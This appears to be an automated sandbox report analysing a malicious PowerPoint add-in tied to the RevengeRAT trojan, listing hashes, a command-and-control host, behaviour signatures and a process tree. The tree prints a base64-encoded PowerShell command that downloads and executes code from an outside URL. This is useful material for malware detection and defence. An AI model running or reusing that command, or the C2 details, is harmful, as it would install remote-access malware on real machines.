Analysis

  • max time kernel
    150s
  • max time network
    177s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    07-05-2023 06:26

General

  • Target

    Boleto2002301988master.ppam

  • Size

    13KB

  • MD5

    c323058745acd4feab0c15282709a04e

  • SHA1

    8e5a988968000ecfa816352c52bd66490bc2b31a

  • SHA256

    2e07606a2d33855138f2430c5aab7e1894e0e75efd2ab1b39ac76256614ca462

  • SHA512

    fa719dcc24dca693779406ab5eca4f7f4a0bfb736cb91b0868105213c91e0733600a33b49b6fdf4a7bfbaed84ae4407127181b86f6ede9e6f69bcefcd60400c9

  • SSDEEP

    384:dXPzPWrxbb3wiyhJ4eSTbhkIYGgAjLHU+zerK9p:VPObL7yz8hkIp5Vyw

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

b2b.ddns.com.br:5222

Mutex

d9261ef3301b4b86a95

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Blocklisted process makes network request 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\Boleto2002301988master.ppam"
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:2028
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1980
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGQAYwA0ADMAOAAuADQAcwB5AG4AYwAuAGMAbwBtAC8AZABvAHcAbgBsAG8AYQBkAC8ANQAtAGgAZQBUAGYAMwBEAC8ARgBhAGMAawAuAGoAcABnAD8AZABzAGkAZAA9AEkANQBQAGEAQQBhAEoAYgAuAGIANQBhAGUANgAzAGIAMAAxADUAMQBhAGIAZgAyAGUAMgA0AGUANwBhAGMAMABjAGUANAA5ADQAZQAzADUANQAmAHMAYgBzAHIAPQBhADQAZABjAGMAOQBkAGMAMAA4ADUAMgA1ADYAYQA1AGMAZABlAGIAOQAxADMAMAA4ADkAZgBmAGQAYQA3AGEAYQBkAGMAJgBiAGkAcAA9AE0AagBBAHgATABqAEkAdwBMAGoARQB5AE4AeQA0AHkATQBUAEkAJgBsAGcAZgBwAD0ANAAwAA0ACgAnACkAOwAgAA0ACgBVAEEAYwBMAEYAVABOAEkAYgBJAEYAVgBYAGMAdABlAEkAUwBWAE0AVgBoAFAAaQBlAHIASgBGAEkAYQBBAE0AUABzAEYATgBYAEcAVwBEAHcATQBEAFoAdgByAE8ARgBjAEwAdABBAFgAcgBNAHYAawBVAEgAdwANAAoA""
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1236
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          3⤵
            PID:1668

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/1236-91-0x0000000002580000-0x0000000002598000-memory.dmp

        Filesize

        96KB

      • memory/1236-61-0x00000000024A0000-0x00000000024E0000-memory.dmp

        Filesize

        256KB

      • memory/1236-93-0x0000000002580000-0x0000000002598000-memory.dmp

        Filesize

        96KB

      • memory/1236-87-0x0000000002580000-0x0000000002598000-memory.dmp

        Filesize

        96KB

      • memory/1236-63-0x00000000024A0000-0x00000000024E0000-memory.dmp

        Filesize

        256KB

      • memory/1236-82-0x0000000002580000-0x0000000002598000-memory.dmp

        Filesize

        96KB

      • memory/1236-83-0x0000000002580000-0x0000000002598000-memory.dmp

        Filesize

        96KB

      • memory/1236-85-0x0000000002580000-0x0000000002598000-memory.dmp

        Filesize

        96KB

      • memory/1236-60-0x00000000024A0000-0x00000000024E0000-memory.dmp

        Filesize

        256KB

      • memory/1236-89-0x0000000002580000-0x0000000002598000-memory.dmp

        Filesize

        96KB

      • memory/1668-105-0x0000000004940000-0x0000000004980000-memory.dmp

        Filesize

        256KB

      • memory/1668-98-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/1668-99-0x0000000000400000-0x000000000040A000-memory.dmp

        Filesize

        40KB

      • memory/1668-97-0x0000000000400000-0x000000000040A000-memory.dmp

        Filesize

        40KB

      • memory/1668-96-0x0000000000400000-0x000000000040A000-memory.dmp

        Filesize

        40KB

      • memory/1668-95-0x0000000000400000-0x000000000040A000-memory.dmp

        Filesize

        40KB

      • memory/1668-94-0x0000000000400000-0x000000000040A000-memory.dmp

        Filesize

        40KB

      • memory/1668-101-0x0000000000400000-0x000000000040A000-memory.dmp

        Filesize

        40KB

      • memory/1668-103-0x0000000000400000-0x000000000040A000-memory.dmp

        Filesize

        40KB

      • memory/1668-104-0x0000000004940000-0x0000000004980000-memory.dmp

        Filesize

        256KB

      • memory/2028-62-0x000000005FFF0000-0x0000000060000000-memory.dmp

        Filesize

        64KB

      • memory/2028-54-0x000000005FFF0000-0x0000000060000000-memory.dmp

        Filesize

        64KB